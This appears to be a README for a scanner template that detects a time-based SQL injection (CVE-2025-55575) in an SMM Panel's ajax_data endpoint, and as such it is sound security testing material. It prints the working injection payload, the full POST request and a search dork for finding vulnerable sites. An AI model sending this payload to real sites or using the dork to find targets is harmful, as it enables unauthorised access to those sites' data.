# smm-panel-sqli(CVE-2025-55575)

**Time-based SQL Injection Detection for SMM Panel**

---

## Overview

This template detects a **time-based SQL Injection** vulnerability in the `service_detail` parameter of the SMM Panel via HTTP POST requests to `/ajax_data`. Exploitation can allow remote attackers to access sensitive data or escalate privileges.

- **Author:** Aether  
- **Severity:** Critical  
- **Tags:** sqli, mysql, timing, dork:'intitle:"#1 SMM Panel ****"' "smm panel"  
- **Reference:** https://owasp.org/www-community/attacks/SQL_Injection

---

## Detection Logic

The tool sends a crafted POST request:

```
POST /ajax_data
Content-Type: application/x-www-form-urlencoded

action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
```

If the response time is **greater than 5 seconds**, it indicates a vulnerable endpoint.


## Detection Example

```
- Method: POST
- Path: {{BaseURL}}/ajax_data
- Headers: Content-Type: application/x-www-form-urlencoded
- Body: action=service_detail&service=1624'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'Z
- Matcher: duration > 5 seconds
```

---

## Video Demo
![SQLi PoC](https://github.com/Aether-0/CVE-2025-55575/blob/b4e305435f883e15b75d3fa00f3eca135c01c22a/poc.gif)

---

